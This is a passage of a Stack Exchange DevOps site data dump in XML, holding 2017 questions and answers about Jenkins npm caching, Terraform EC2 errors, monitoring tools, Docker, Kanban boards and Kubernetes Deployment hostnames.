command `npm config get cache` which outputs `/home/jenkins/.npm`&#xD;&#xA;&#xD;&#xA;That is why I have the host volume `/slaves/volumes/tsl.frontend:/home/jenkins` mounted to my web container slave.&#xD;&#xA;&#xD;&#xA;I build my Angular app using a Jenkins project, builds no problem, many npm packages are installed. If ssh into my Docker host and run cmd `ls /slaves/volumes/tsl.frontend` I see lots of npm packages. This means my host volume mount for the slave worked. &#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;Now I build the Jenkins project again, npm installs every single package again, even though the Docker slave build container is using the volume host mount. I can even confirm by bashing into the slave container with cmd `docker exec -it &lt;some_clever_random_container_id&gt; bash` then cmd `su jenkins` then cmd `npm cache ls` which lists many npm packages that are cached.&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;So, even with my host mount volume, which has permissions `chmod 777` by the way so there is no permissions issues, I cannot get `npm install` to use the cache.&#xD;&#xA;&#xD;&#xA;In my Jenkins build, which spins up the Docker slave container, the first cmd I run is `npm cache ls` and many packages are listed, doesn't this mean my host volume is working as expected and the npm cache index has integrity aka not corrupted?&#xD;&#xA;&#xD;&#xA;[![enter image description here][5]][5]&#xD;&#xA;&#xD;&#xA;I have tried the regular `npm install` cmd, which, when I run on my localhost machine installs all the packages the first time and almost no packages the next time. And also the npm cache &quot;hack&quot; `npm --cache-min 9999999 install`, taken from [this SO answer][6] as well as cmd `npm --skip-installed --cache-min 9999999 install`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Docker+Plugin&#xD;&#xA;  [2]: https://i.stack.imgur.com/V2Osl.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/ggCdS.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/a7ldf.png&#xD;&#xA;  [5]: https://i.stack.imgur.com/lEu8b.png&#xD;&#xA;  [6]: https://stackoverflow.com/a/38827633/1258525" ContentLicense="CC BY-SA 3.0" />
  <row Id="7595" PostHistoryTypeId="2" PostId="2427" RevisionGUID="ab4f88fc-0499-49be-ae7c-c421a0e7af3d" CreationDate="2017-10-26T20:39:33.597" UserId="4115" Text="This is a known bug.  See [JENKINS-42878](https://issues.jenkins-ci.org/browse/JENKINS-42878) and [JENKINS-41996](https://issues.jenkins-ci.org/browse/JENKINS-41996).  This bug has been resolved upstream, which means you should be able to fix the bug by upgrading the plugin to the latest version." ContentLicense="CC BY-SA 3.0" />
  <row Id="7596" PostHistoryTypeId="2" PostId="2428" RevisionGUID="4c073946-a994-4cdd-baaf-b574755e58e9" CreationDate="2017-10-26T23:49:19.127" UserId="4918" Text="Whenever I try to launch the instances, I am getting the following error message. Please help with this.   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA; Error: Error applying plan:&#xD;&#xA;    &#xD;&#xA;    3 error(s) occurred:&#xD;&#xA;    &#xD;&#xA;    * aws_instance.example[0]: 1 error(s) occurred:&#xD;&#xA;    &#xD;&#xA;    * aws_instance.example.0: Error launching source instance: InvalidParameterValue: Invalid availability zone: [{us-east-1b]&#xD;&#xA;            status code: 400, request id: 2637e297-236d-4e3b-b5a4-b5afe3df5e67&#xD;&#xA;    * aws_instance.example[2]: 1 error(s) occurred:&#xD;&#xA;    &#xD;&#xA;    * aws_instance.example.2: Error launching source instance: InvalidParameterValue: Invalid availability zone: [ us-east-1d}]&#xD;&#xA;            status code: 400, request id: 59244720-ab1c-48c7-a9b8-3eb6a23bd5ae&#xD;&#xA;    * aws_instance.example[1]: 1 error(s) occurred:&#xD;&#xA;    &#xD;&#xA;    * aws_instance.example.1: Error launching source instance: InvalidParameterValue: Invalid availability zone: [ us-east-1c]&#xD;&#xA;            status code: 400, request id: 1e335e56-f129-4ea0-a5c6-09b0501b6e18&#xD;&#xA;    &#xD;&#xA;    Terraform does not automatically rollback in the face of errors.&#xD;&#xA;    Instead, your Terraform state file has been partially updated with&#xD;&#xA;    any resources that successfully completed. Please address the error&#xD;&#xA;    above and apply again to incrementally change your infrastructure." ContentLicense="CC BY-SA 3.0" />
  <row Id="7597" PostHistoryTypeId="1" PostId="2428" RevisionGUID="4c073946-a994-4cdd-baaf-b574755e58e9" CreationDate="2017-10-26T23:49:19.127" UserId="4918" Text="Unable to launch multiple EC2 instances in different availability zones using terraform" ContentLicense="CC BY-SA 3.0" />
  <row Id="7598" PostHistoryTypeId="3" PostId="2428" RevisionGUID="4c073946-a994-4cdd-baaf-b574755e58e9" CreationDate="2017-10-26T23:49:19.127" UserId="4918" Text="&lt;amazon-ec2&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7599" PostHistoryTypeId="50" PostId="2152" RevisionGUID="1adf6037-5575-4baf-ba1f-6cadf56c50b2" CreationDate="2017-10-26T23:58:28.113" UserId="-1" />
  <row Id="7600" PostHistoryTypeId="2" PostId="2429" RevisionGUID="007ab943-bbe9-48b4-bbae-d0341a69ebee" CreationDate="2017-10-27T06:30:19.000" UserId="4686" Text="I need a simple tool that will carry out some conditional checks periodically and give me a red/green status that I can use as an indication that something is wrong.&#xD;&#xA;&#xD;&#xA;**These are examples of checks that I would like to monitor automatically:**&#xD;&#xA;&#xD;&#xA;* Does a row exist in a database that meets a certain criteria?&#xD;&#xA;* Does a file, with a maximum age, exist on some network share?&#xD;&#xA;* Does the response-body of a HTTP-request match a specific regex?&#xD;&#xA;&#xD;&#xA;So basically, it would free me from checking these various indicators manually and just have a red/green dashboard that I could monitor.&#xD;&#xA;&#xD;&#xA;I'm thinking something like this has got to exist in a ready-made solution.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7601" PostHistoryTypeId="1" PostId="2429" RevisionGUID="007ab943-bbe9-48b4-bbae-d0341a69ebee" CreationDate="2017-10-27T06:30:19.000" UserId="4686" Text="Automatic periodic conditional checks" ContentLicense="CC BY-SA 3.0" />
  <row Id="7602" PostHistoryTypeId="3" PostId="2429" RevisionGUID="007ab943-bbe9-48b4-bbae-d0341a69ebee" CreationDate="2017-10-27T06:30:19.000" UserId="4686" Text="&lt;monitoring&gt;&lt;logging&gt;&lt;operations&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7603" PostHistoryTypeId="2" PostId="2430" RevisionGUID="24377943-8e38-48ed-8129-590cb7a262ee" CreationDate="2017-10-27T09:14:49.030" UserId="13" Text="All in all any monitoring tool would do for this case, monit, nagios, shinken, icinga, centreon, evan a crontab in bash could do..." ContentLicense="CC BY-SA 3.0" />
  <row Id="7604" PostHistoryTypeId="5" PostId="2430" RevisionGUID="ab339fb3-7dd4-4a56-ba28-745483e0a24a" CreationDate="2017-10-27T09:22:22.810" UserId="13" Comment="added 208 characters in body" Text="All in all any monitoring tool would do for this case, [monit][1], [nagios][2], [shinken][3], [icinga][4], [centreon][5], or even a crontab in bash could do...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://mmonit.com/monit/&#xD;&#xA;  [2]: https://www.nagios.org/&#xD;&#xA;  [3]: https://www.shinken-monitoring.org/&#xD;&#xA;  [4]: https://www.icinga.com/&#xD;&#xA;  [5]: https://www.centreon.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7605" PostHistoryTypeId="2" PostId="2431" RevisionGUID="8a5bdd46-7e86-4f89-a99e-f98bc0ce5f31" CreationDate="2017-10-27T12:13:41.927" UserId="210" Text="Another option is to use [Sensu][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://sensuapp.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7606" PostHistoryTypeId="16" PostId="2430" RevisionGUID="17a18b5e-e84c-40b1-99a7-d6289b8ea88c" CreationDate="2017-10-27T12:27:38.643" UserId="13" />
  <row Id="7608" PostHistoryTypeId="2" PostId="2432" RevisionGUID="4931223a-0a87-4551-b0e7-4e0448c73788" CreationDate="2017-10-27T14:06:09.100" UserId="4928" Text="It loooks like there may have been at one time a version of Google translate called &quot;Business&quot; that did not employ the free API used by the version that comes up in my browser. If there is, how can I get more information about it (I've already googled it and cannot find anything)? If not, is there some kind of replacement that can be used in its stead?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My apologies if this is not the appropriate SE forum for this question.&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 3.0" />
  <row Id="7609" PostHistoryTypeId="1" PostId="2432" RevisionGUID="4931223a-0a87-4551-b0e7-4e0448c73788" CreationDate="2017-10-27T14:06:09.100" UserId="4928" Text="Is there a premium version of Google translate that is available for purchase to integrate into business applications?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7610" PostHistoryTypeId="3" PostId="2432" RevisionGUID="4931223a-0a87-4551-b0e7-4e0448c73788" CreationDate="2017-10-27T14:06:09.100" UserId="4928" Text="&lt;google-cloud-platform&gt;&lt;google-compute-engine&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7611" PostHistoryTypeId="5" PostId="2431" RevisionGUID="4bc798b7-99a0-43f0-8e85-df67b0fcffdf" CreationDate="2017-10-27T14:09:59.723" UserId="210" Comment="added 235 characters in body" Text="Another option is to use [Sensu][1]. There are several plugins including a [http one][2], that is able to check whether a response contains a certain string:&#xD;&#xA;&#xD;&#xA;&gt; check-http.rb -u http://my.site.com/health -q 'OK'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://sensuapp.org/&#xD;&#xA;  [2]: https://github.com/sensu-plugins/sensu-plugins-http" ContentLicense="CC BY-SA 3.0" />
  <row Id="7612" PostHistoryTypeId="2" PostId="2433" RevisionGUID="dc36d4e0-1fd9-4eea-9d96-3e8b95c85e0a" CreationDate="2017-10-27T15:12:11.313" UserId="559" Text="Varnish is monitored with what they call VSM. It's a file in your container. If you bind mount the folder where the files is, you can share the same folder / files in other containers that will be able to read it, and thus will be able to monitor your varnish instance.&#xD;&#xA;See the note about [VSM and containers][1] in varnish docs.&#xD;&#xA;I have been able to launch a `varnishstat` with statistics in a container with varnish in the image, but no varnish running, like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run --rm -it \&#xD;&#xA;       --entrypoint=/bin/sh \&#xD;&#xA;       -v /var/lib/docker/overlay2/$hash/merged/usr/local/var/varnish/$hostname:/varnish \&#xD;&#xA;      emgag/varnish:5.1.3 varnishstat -N /varnish/_.vsm&#xD;&#xA;``` &#xD;&#xA;&#xD;&#xA;  [1]: https://varnish-cache.org/docs/trunk/reference/vsm.html#vsm-and-containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="7614" PostHistoryTypeId="5" PostId="2433" RevisionGUID="8b172370-0ad0-4526-9538-d0fd82e7a676" CreationDate="2017-10-27T15:30:52.900" UserId="47" Comment="improved formatting" Text="Varnish is monitored with what they call VSM. It's a file in your container. If you bind mount the folder where the files is, you can share the same folder / files in other containers that will be able to read it, and thus will be able to monitor your varnish instance.&#xD;&#xA;See the note about [VSM and containers][1] in varnish docs.&#xD;&#xA;I have been able to launch a `varnishstat` with statistics in a container with varnish in the image, but no varnish running, like this:&#xD;&#xA;&#xD;&#xA;    docker run --rm -it \&#xD;&#xA;           --entrypoint=/bin/sh \&#xD;&#xA;           -v /var/lib/docker/overlay2/$hash/merged/usr/local/var/varnish/$hostname:/varnish \&#xD;&#xA;          emgag/varnish:5.1.3 varnishstat -N /varnish/_.vsm&#xD;&#xA;&#xD;&#xA;  [1]: https://varnish-cache.org/docs/trunk/reference/vsm.html#vsm-and-containers&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7615" PostHistoryTypeId="2" PostId="2434" RevisionGUID="b12c3aac-bb5b-4594-a488-37d7f7ee373a" CreationDate="2017-10-27T18:04:41.590" UserId="3888" Text="I have pull the image https://hub.docker.com/r/docker/compose/&#xD;&#xA;```docker pull docker/compose```&#xD;&#xA;&#xD;&#xA;But how can I run it to build my images?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7616" PostHistoryTypeId="1" PostId="2434" RevisionGUID="b12c3aac-bb5b-4594-a488-37d7f7ee373a" CreationDate="2017-10-27T18:04:41.590" UserId="3888" Text="How to run &quot;docker/compose&quot; container?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7617" PostHistoryTypeId="3" PostId="2434" RevisionGUID="b12c3aac-bb5b-4594-a488-37d7f7ee373a" CreationDate="2017-10-27T18:04:41.590" UserId="3888" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7618" PostHistoryTypeId="2" PostId="2435" RevisionGUID="ebf00c36-d621-49ad-bbe4-a40c664d954d" CreationDate="2017-10-27T19:47:22.990" UserId="210" Text="[According to this reply][1] it should run by issuing:&#xD;&#xA;&#xD;&#xA;&gt;     docker run -ti --rm -v `pwd`/docker-compose.yaml:/docker-compose.yml -v&#xD;&#xA;&gt;     /var/run/docker.sock:/var/run/docker.sock docker/compose:1.16.1 up&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/docker/compose/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7619" PostHistoryTypeId="5" PostId="2387" RevisionGUID="4e8df96a-fa9b-43d8-9dae-c3dd817033ea" CreationDate="2017-10-27T22:38:30.740" UserId="4369" Comment="added 218 characters in body" Text="To be able to scale in with confidence on ECS, there's a few strategies:&#xD;&#xA;&#xD;&#xA; - Create a 3rd custom metric which tracks the greater of the two metrics. For example, if CPU allocation is at 60% and memory allocation is at 70%, the metric should be set to 70%.&#xD;&#xA; - Choose one of the two resources (CPU or memory), and always allocate a higher percentage of it to each container compared to the other resource. This way, you will always reach a shortage of your preferred resource before the other, and you don't have to worry about scaling up or down on it. While this is the easiest solution, the obvious downside is that you can't optimise for services that may be CPU or memory intensive, and you may end up with wasted resources.&#xD;&#xA; - Do autoscaling without using CloudWatch metrics. Tools such as https://github.com/ameir/ECSpander are available to assist with this.&#xD;&#xA;&#xD;&#xA;Kubernetes doesn't use CloudWatch metrics for scaling, it manages scaling by setting the ASG desired number of instances through internal mechanisms and therefore isn't subject to the issue you've described." ContentLicense="CC BY-SA 3.0" />
  <row Id="7621" PostHistoryTypeId="2" PostId="2436" RevisionGUID="69850cbd-ac2b-408b-8189-38a0bab23295" CreationDate="2017-10-28T01:43:16.190" UserId="2276" Text="I recommend that you take a look at the NetworkX library for Python.  With a script you could query Consul and build a graph of linked nodes which could be rendered to an image file and served with a web server.  A Flask microservice for this would be fairly simple to set up and provide a very useful visualization of your microservices spiderweb." ContentLicense="CC BY-SA 3.0" />
  <row Id="7622" PostHistoryTypeId="2" PostId="2437" RevisionGUID="45775e3f-bad1-4794-a5a3-5f9ecafdbf5d" CreationDate="2017-10-28T01:45:48.993" UserId="2276" Text="Unit testing in an alternate CD/CI platform would be overkill in every situation I've built one.  The shared-pipeline code repo you connect to Jenkins will be triggered by a Jenkinsfile.  I suggest you define any and all testing in that particular Jenkinsfile - and keep this one simple enough that extensive testing of the Jenkinsfile defining tests for your Jenkinsfile does not also need a Jenkinsfile defining tests." ContentLicense="CC BY-SA 3.0" />
  <row Id="7623" PostHistoryTypeId="2" PostId="2438" RevisionGUID="67b9ca0e-4cb9-4218-8edb-0b0a2c833eab" CreationDate="2017-10-28T01:58:20.477" UserId="2276" Text="Your question is sitting unanswered here because you're way &quot;out in the weeds&quot; - running pretty idiosyncratic batch scripts that seem to leverage cygwin on Windows, in short, you're in the &quot;wtf&quot; category here.  That's ok!  In this work, all of us are in this place for a lot of our day.&#xD;&#xA;&#xD;&#xA;I suggest you consider switching these up for powershell tasks, you can use: &#xD;&#xA; &#xD;&#xA;    node {&#xD;&#xA;        powershell 'get-process &quot;Openvpn&quot; | stop-process -force'&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;to help with this.  This will simplify your build server and remove external dependencies on cygwin- which if you've ever grappled with at any scale, is a real monster.  It's tough to install automatically, tough to keep up to date, a vuln factory, and poorly maintained.&#xD;&#xA;&#xD;&#xA;Perhaps even bigger picture though, using a VPN tunnel in a deployment process is slightly unorthodox.  You might consider pushing an artifact to a repository that both Jenkins and your target server have access to, then polling from the target server for the presence of a new build, then installing it.  Or simply decouple your build and deploy phases with a manual step- one where you log into your production environment to kick off a deployment after a build/test succeeds.  " ContentLicense="CC BY-SA 3.0" />
  <row Id="7624" PostHistoryTypeId="2" PostId="2439" RevisionGUID="8f6d88f7-7b84-42bf-a79a-210a1390dd29" CreationDate="2017-10-28T02:16:22.327" UserId="2276" Text="I suspect I'm late to the party, but I've survived a few similar scenarios and might have some tips for you.  It sounds like your team has been over-managed and has grown hostile to process or rules in general.&#xD;&#xA;&#xD;&#xA;1.  Do not go directly to Agile and sprint based development.  Consider going with Kanban, and link work items to an epic/larger context.  Sometimes that context will be &quot;break/fix&quot; and sometimes it will be features.  Linking will help you make it clearer where time is spent.  Kanban is preferable because it's likely the absolute minimum process necessary to get work done - it won't require you to bludgeon your team with buzzwords, burndowns, estimates, and other distractions.  It WILL allow you to limit the amount of work in progress - I suggest you start with 3-4 things per team member and try to whittle it down until you can reach a state of continous flow.  Lead your standup using this kanban board.  &#xD;&#xA;&#xD;&#xA;2.  Look for opportunities to incentivize smaller delivery batches, and run them through an automated testing process.  Use this process to gradually improve the code base and build trust with the release managers who currently introduce friction to your delivery process, which causes an increase in change/batch size, which causes increased risks, which &quot;validates&quot; the need for an outside gate to production.  &#xD;&#xA;&#xD;&#xA;3.  Break up monolithic repositories, then break up monolithic applications.  Smaller applications again mean smaller batch sizes and reduced risk.  &#xD;&#xA;&#xD;&#xA;4.  LISTEN a lot.  Your team has been traumatized by a toxic manager, and you have damaged goods on your hands.  If you come in too hot, you'll break trust.  ESPECIALLY through the early phases of this transition, building trust and rapport are the keys to you ever getting a devops practice off the ground.  &#xD;&#xA;&#xD;&#xA;5.  DO NOT switch tools simply because other people, who seem to be better at this than your team, are using them.  Do I think there are better workflows than your team has?  You bet!  But don't switch for superstitious or personal reasons.  Understand WHAT your current toolchain prevents you from achieving and make sure that the underlying concepts are understood by every single member of your team before you begin.  &#xD;&#xA;&#xD;&#xA;6.  Be prepared for this to take a year or two to really turn around.  You will need to apply slow, predictable, steady pressure on the organization in order to drive meaningful or longterm change.  " ContentLicense="CC BY-SA 3.0" />
  <row Id="7625" PostHistoryTypeId="2" PostId="2440" RevisionGUID="93e03259-8f6b-476c-85c2-3a0e2b6ec642" CreationDate="2017-10-28T02:21:22.880" UserId="2276" Text="It's generally a best practice to make your builds idempotent.  Leaving artifacts behind only opens up opportunities for dependency management issues- and resolving those in a resilient way is exactly why you're using a build server.  I suggest you take a look at WHY your Python builds are running so slow- if you discover this is because of an overabundance of packages in each project, this might be optimizable.  If you discover this is because of server performance issues, those are easily fixable with more resources.  If you find you are blocked by network throughput, consider using an artifact repository to cache packages locally.  But building persistent virtualenvs seems like a recipe for problems that could be unpredictable when moving to another server, and extremely frustrating to troubleshoot.  " ContentLicense="CC BY-SA 3.0" />
  <row Id="7626" PostHistoryTypeId="2" PostId="2441" RevisionGUID="56d35f34-8e3e-4e53-a9ac-68d707399b84" CreationDate="2017-10-28T02:25:20.753" UserId="2276" Text="You could:  &#xD;&#xA;&#xD;&#xA; - prune your branches. (guessing you'd have done this by now if feasible.)&#xD;&#xA; - implement Jenkinsfile, a code-driven pipeline,&#xD;&#xA;   and simply remove the jenkinsfile from the branches you don't want&#xD;&#xA;   built or triggered by SCM-polling." ContentLicense="CC BY-SA 3.0" />
  <row Id="7628" PostHistoryTypeId="5" PostId="2436" RevisionGUID="c047ba14-ef43-4564-a9eb-bcd519602aec" CreationDate="2017-10-28T04:48:28.483" UserId="47" Comment="added reference link" Text="I recommend that you take a look at the [NetworkX][1] library for Python.  With a script you could query Consul and build a graph of linked nodes which could be rendered to an image file and served with a web server.  A Flask microservice for this would be fairly simple to set up and provide a very useful visualization of your microservices spiderweb.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://networkx.github.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7629" PostHistoryTypeId="2" PostId="2442" RevisionGUID="7841e5cb-8282-4fc0-aa92-31552a1a2157" CreationDate="2017-10-28T09:05:35.127" UserId="4937" Text="Is There any possibility to create one master account (for one master laptop for example), from which I can log in to all accounts available on the server ?&#xD;&#xA;&#xD;&#xA;My server have enable Keys Authentication and disable PasswordAuthentication.&#xD;&#xA;&#xD;&#xA;Now, after reboot i can login to server from my (master laptop) as root, But I can not log in as a regular user, i get „access denied&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="7630" PostHistoryTypeId="1" PostId="2442" RevisionGUID="7841e5cb-8282-4fc0-aa92-31552a1a2157" CreationDate="2017-10-28T09:05:35.127" UserId="4937" Text="CentOS 7 SSH login with Keys Authentication" ContentLicense="CC BY-SA 3.0" />
  <row Id="7631" PostHistoryTypeId="3" PostId="2442" RevisionGUID="7841e5cb-8282-4fc0-aa92-31552a1a2157" CreationDate="2017-10-28T09:05:35.127" UserId="4937" Text="&lt;linux&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7632" PostHistoryTypeId="2" PostId="2443" RevisionGUID="20da1897-359a-4a74-89d2-9a60312e7b8d" CreationDate="2017-10-28T10:39:15.267" UserId="4175" Text="We have a brownfield project which was recently struck by disaster (many people leaving for unrelated reasons, too many new customers, much too large backlog for much to few people, etc.). Management support is still fine. Thank bob the product owner (decades of knowledge) is still here. The dvs have seen some glimples of DevOps benefits from a very nicely-received DevOps colleague who is doing pratical work as well as evangelisation, so there is no resistance on that front, either.&#xD;&#xA;&#xD;&#xA;At the moment, we are bringing in new people from all over the place (i.e., split across different cities and even countries, though all speak the same language), and getting the know-how under control etc. We are also focussing a *lot* on automation before starting actual development again, because everybody saw what happens when we don't. Also, we have bundled *everybody* together - devs, ops, testers, to make use of every last bit of knowledge and avoid future silos. So it is a very dynamic situation. &#xD;&#xA;&#xD;&#xA;My main objectives are:&#xD;&#xA;&#xD;&#xA;- Get people to work instead of panicking, i.e., give the individal devs focus.&#xD;&#xA;- Shield devs and ops from panicked management and stakeholders.&#xD;&#xA;- Make it more transparent for stakeholders to see what is happening with their tasks/epics, to reduce panicked zero-warning status calls.&#xD;&#xA;&#xD;&#xA;Most people, as well as me, are used to Scrum (or more likely Zombie-Scrum or Scrum-But ;) ), but I believe it is too early to do proper Scrum here. So I will likely implement Kanban (in Jira).&#xD;&#xA;&#xD;&#xA;What are your best practices here?&#xD;&#xA;&#xD;&#xA;- One column per person/pair? Or rather one column per stage for the tasks (i.e., &quot;in development&quot;, &quot;in testing&quot; etc.)?  I think I'd prefer the first, because it very clearly shows whether a person/pair has their hands full - we could use a full column really well for telling a manager to go away. Also, we have quite diverse roles in the team (i.e., a DevOps expert who will be focusing on the CI/CD pipeline and such; or the testers).&#xD;&#xA;- In the usual Scrum process, the P.O. would not be part of the actual sprint board, but do his good work in the backlog. Would you propose to give a column to the P.O. so he can focus on fleshing out a few task at a time? This would put the P.O. well inside the team, which I would like. Is it a good idea? (Yes, I am aware that Kanban does not actually label those roles, but I hope you see what I mean...).&#xD;&#xA;- Alternatively to the previous: I believe The IT Sceptic had an article about having two boards - one focused on the stakeholder epics, the other on the actual short-term tasks. Do you have experience with that? Would that help in this situation, in your experience?&#xD;&#xA;&#xD;&#xA;These may seem like three distinct questions, but are, in my mind one: how to structure the Kanban board - around people, or around tasks?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7633" PostHistoryTypeId="1" PostId="2443" RevisionGUID="20da1897-359a-4a74-89d2-9a60312e7b8d" CreationDate="2017-10-28T10:39:15.267" UserId="4175" Text="Kanban to catch a quick-moving situation" ContentLicense="CC BY-SA 3.0" />
  <row Id="7634" PostHistoryTypeId="3" PostId="2443" RevisionGUID="20da1897-359a-4a74-89d2-9a60312e7b8d" CreationDate="2017-10-28T10:39:15.267" UserId="4175" Text="&lt;culture&gt;&lt;methodology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7635" PostHistoryTypeId="2" PostId="2444" RevisionGUID="62ecfd7f-00ad-4e16-a229-650c45a60f98" CreationDate="2017-10-28T13:05:19.563" UserId="4252" Text="The beauty of a kanban board is that it lets you see what everyone on the team is working on; if work is related, it should be on a common board (in my opinion).  However, one way to deal with specialization of teams is to use swimlanes, particularly if the tasks have common phases.&#xD;&#xA;&#xD;&#xA;Take a simple board, with a To Do pile, a Doing pile, and a Done pile.  Create a swimlane for each of your subteams, and and limit their WIP accordingly; this allows for common visibility with some independence.&#xD;&#xA;&#xD;&#xA;I think two boards makes sense when the phases are more complex; if you have to have a pipeline between teams for some things, but not for others, then two different boards with different phases makes sense.  However, you have to deal with the complication of shifting between boards.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7636" PostHistoryTypeId="5" PostId="2444" RevisionGUID="b0457996-d4f3-41f1-be89-26b83617819a" CreationDate="2017-10-28T13:13:54.547" UserId="4252" Comment="added a little more verbiage" Text="The beauty of a kanban board is that it lets you see what everyone on the team is working on; if work is related, it should be on a common board (in my opinion).  However, one way to deal with specialization of teams is to use swimlanes, particularly if the tasks have common phases.&#xD;&#xA;&#xD;&#xA;Take a simple board for example, with a To Do pile, a Doing pile, and a Done pile.  Create a swimlane for each of your subteams, and and limit their WIP accordingly; this allows for common visibility with some independence.&#xD;&#xA;&#xD;&#xA;I think two boards makes sense when the phases are more complex; if you have to have a pipeline between teams for some things (i.e, you need QA review after the devs do their code before an item is done for epics), but not for others (fixes), then two different boards with different phases makes sense.  However, you have to deal with the complication of shifting between boards.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7637" PostHistoryTypeId="2" PostId="2445" RevisionGUID="76b1adca-913e-417b-b8ce-c5bd1c17abcf" CreationDate="2017-10-28T17:20:46.100" UserId="4939" Text="I am trying to convert some K8s examples from ReplicationControllers to Deployments. These examples are for a Selenium grid located: [https://github.com/kubernetes/examples/tree/master/staging/selenium][1]&#xD;&#xA;&#xD;&#xA;When I run the examples as-is, my selenium-hub and selenium-nodes connect successfully. However, when I tried to convert `selenium-hub-rc.yaml` and `selenium-node-chrome-rc.yaml` into Deployments, the selenium-nodes will not connect to the selenium-hub.&#xD;&#xA;&#xD;&#xA;In `selenium-node-chrome-rc.yaml` there are [these variables][2]:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    env:&#xD;&#xA;    - name: HUB_PORT_4444_TCP_ADDR &#xD;&#xA;    value: &quot;selenium-hub&quot;&#xD;&#xA;    - name: HUB_PORT_4444_TCP_PORT &#xD;&#xA;    value: &quot;4444&quot;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;`HUB_PORT_4444_TCP_ADDR` is the ip/hostname of the selenium-hub. The `selenium-hub-rc.yaml` shows the phrase `selenium-hub` in [many locations][3]. **Question 1**: which of these is actually defining the host name? (`.metadata.name`, `.spec.selector.app`, ...?)&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ReplicationController&#xD;&#xA;    metadata:&#xD;&#xA;      name: selenium-hub &lt;-------------------&#xD;&#xA;      labels:&#xD;&#xA;        app: selenium-hub &lt;-------------------&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1&#xD;&#xA;      selector:&#xD;&#xA;        app: selenium-hub &lt;-------------------&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: selenium-hub &lt;-------------------&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;    - name: selenium-hub &lt;-------------------&#xD;&#xA;    ....&#xD;&#xA;&#xD;&#xA;Now, I changed this `selenium-hub-rc.yaml` to a deployment:&#xD;&#xA;&#xD;&#xA;    apiVersion: extensions/v1beta1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      name: selenium-hub-deployment &lt;---------- this is the hostname?&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: selenium-grid&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;          - name: selenium-hub &lt;--------- this is the hostname?&#xD;&#xA;            image: selenium/hub&#xD;&#xA;            ports:&#xD;&#xA;            - containerPort: 4444&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;But now the selenium-node won't connect and I believe it is due to `HUB_PORT_4444_TCP_ADDR`. I have tried:&#xD;&#xA;&#xD;&#xA;    - name: HUB_PORT_4444_TCP_ADDR&#xD;&#xA;      value: &quot;selenium-hub&quot;&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    - name: HUB_PORT_4444_TCP_ADDR&#xD;&#xA;      value: &quot;selenium-hub-deployment&quot;&#xD;&#xA;&#xD;&#xA;Neither worked. **Question 2**: What is the hostname for a deployment? It seemed straight forward in the ReplicationController yaml e.g. `selenium-hub`, but I can't get it to work as a deployment.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/examples/tree/master/staging/selenium&#xD;&#xA;  [2]: https://github.com/kubernetes/examples/blob/master/staging/selenium/selenium-node-chrome-rc.yaml#L21&#xD;&#xA;  [3]: https://github.com/kubernetes/examples/blob/master/staging/selenium/selenium-hub-rc.yaml#L4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7638" PostHistoryTypeId="1" PostId="2445" RevisionGUID="76b1adca-913e-417b-b8ce-c5bd1c17abcf" CreationDate="2017-10-28T17:20:46.100" UserId="4939" Text="Use K8s Deployment Hostname In YAML Config" ContentLicense="CC BY-SA 3.0" />
